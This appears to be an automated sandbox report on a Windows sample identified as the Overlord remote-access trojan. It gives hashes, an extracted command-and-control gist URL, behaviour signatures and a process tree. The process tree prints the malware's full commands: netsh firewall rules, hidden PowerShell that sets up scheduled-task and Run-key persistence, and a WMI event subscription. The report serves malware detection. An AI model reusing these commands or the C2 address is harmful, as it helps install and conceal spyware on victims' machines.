Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/11/2026, 16:34

General

  • Target
    2026-11-10_e9f711f5029f1300ab606d27ab60bb6c_coinminer_dosia_glassworm_icedid_poet-rat_quasar-rat.exe
  • Size 18.4MB
  • Sample261111-t3a7tsae94
  • SHA256 234fb4fa09005c996f8174d958410fa9c480bd9dc395552d3a1603f357bedbf6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • overlord

C2
  • https://gist.githubusercontent.com/recoverfitter-ux/ffc17316df9376ae3803333055657d4b/raw/gistfile1.txt

Extracted

Family
  • overlord

C2
  • https://gist.githubusercontent.com/recoverfitter-ux/ffc17316df9376ae3803333055657d4b/raw/gistfile1.txt

Signatures

  • Family: Overlord

    Overlord is an open-source Windows RAT written in Golang.

  • Detects Overlord RAT 13 IoCs
  • Custom signature
    Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 13 IoCs
  • Custom signature
    Detects executables containing URLs to raw contents of a Github gist 13 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Modifies Windows Firewall 2 TTPs 4 IoCs
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Modifies system certificate store 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-10_e9f711f5029f1300ab606d27ab60bb6c_coinminer_dosia_glassworm_icedid_poet-rat_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-10_e9f711f5029f1300ab606d27ab60bb6c_coinminer_dosia_glassworm_icedid_poet-rat_quasar-rat.exe"
    1⤵
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Modifies trusted root certificate store through registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2652
    • C:\Windows\system32\netsh.exe
      netsh advfirewall firewall delete rule name=2026-11-10_e9f711f5029f1300ab606d27ab60bb6c_coinminer_dosia_glassworm_icedid_poet-rat_quasar-rat.exe program=C:\Users\Admin\AppData\Local\Temp\2026-11-10_e9f711f5029f1300ab606d27ab60bb6c_coinminer_dosia_glassworm_icedid_poet-rat_quasar-rat.exe
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:5528
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { $a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_0aeac333ddbc.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $isElevated = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator); $p = if ($isElevated) { New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest } else { New-ScheduledTaskPrincipal -UserId $env:USERNAME }; Register-ScheduledTask -TaskName 'ovd_aaeea3b0' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null } catch { Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'ovd_aaeea3b0' -Value 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_0aeac333ddbc.exe' -Force }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2856
    • C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name=2026-11-10_e9f711f5029f1300ab606d27ab60bb6c_coinminer_dosia_glassworm_icedid_poet-rat_quasar-rat.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\2026-11-10_e9f711f5029f1300ab606d27ab60bb6c_coinminer_dosia_glassworm_icedid_poet-rat_quasar-rat.exe enable=yes
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:4592
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_0aeac333ddbc.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_0aeac333ddbc.exe"
    1⤵
    • Creates a file in the Startup directory
    • Executes dropped EXE
    • Adds Run key to start application
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5428
    • C:\Windows\system32\netsh.exe
      netsh advfirewall firewall delete rule name=ovd_0aeac333ddbc.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_0aeac333ddbc.exe
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:3804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { $a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_0aeac333ddbc.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $isElevated = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator); $p = if ($isElevated) { New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest } else { New-ScheduledTaskPrincipal -UserId $env:USERNAME }; Register-ScheduledTask -TaskName 'ovd_aaeea3b0' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null } catch { Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'ovd_aaeea3b0' -Value 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_0aeac333ddbc.exe' -Force }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5784
    • C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name=ovd_0aeac333ddbc.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_0aeac333ddbc.exe enable=yes
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:5608
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_faaeea3b0'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_caaeea3b0'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_0aeac333ddbc.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_faaeea3b0'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_caaeea3b0'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:3000

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_3hnieo3t.43d.psm1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3hnieo3t.43d.psm1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        agent-528864960.tmp

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-528864960.tmp
        • Size 18.4MB
        • SHA256 234fb4fa09005c996f8174d958410fa9c480bd9dc395552d3a1603f357bedbf6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2652-47-0x00007FF7D3920000-0x00007FF7D6C81000-memory.dmp

        memory/2652-49-0x00007FF7D3920000-0x00007FF7D6C81000-memory.dmp

        memory/2652-52-0x00007FF7D3920000-0x00007FF7D6C81000-memory.dmp

        memory/2652-51-0x00007FF7D3920000-0x00007FF7D6C81000-memory.dmp

        memory/2652-50-0x00007FF7D3920000-0x00007FF7D6C81000-memory.dmp

        memory/2652-45-0x00007FF7D3920000-0x00007FF7D6C81000-memory.dmp

        memory/2652-39-0x00007FF7D3920000-0x00007FF7D6C81000-memory.dmp

        memory/2652-40-0x00007FF7D3920000-0x00007FF7D6C81000-memory.dmp

        memory/2652-41-0x00007FF7D3920000-0x00007FF7D6C81000-memory.dmp

        memory/2652-43-0x00007FF7D3920000-0x00007FF7D6C81000-memory.dmp

        memory/2652-44-0x00007FF7D3920000-0x00007FF7D6C81000-memory.dmp

        memory/2856-11-0x0000011E27CA0000-0x0000011E27CC2000-memory.dmp

        memory/2856-15-0x0000011E27F80000-0x0000011E28032000-memory.dmp

        memory/2856-14-0x0000011E27F60000-0x0000011E27F7E000-memory.dmp

        memory/2856-19-0x0000011E282C0000-0x0000011E282DE000-memory.dmp

        memory/2856-16-0x0000011E28040000-0x0000011E2804A000-memory.dmp

        memory/5428-38-0x00007FF625060000-0x00007FF6283C1000-memory.dmp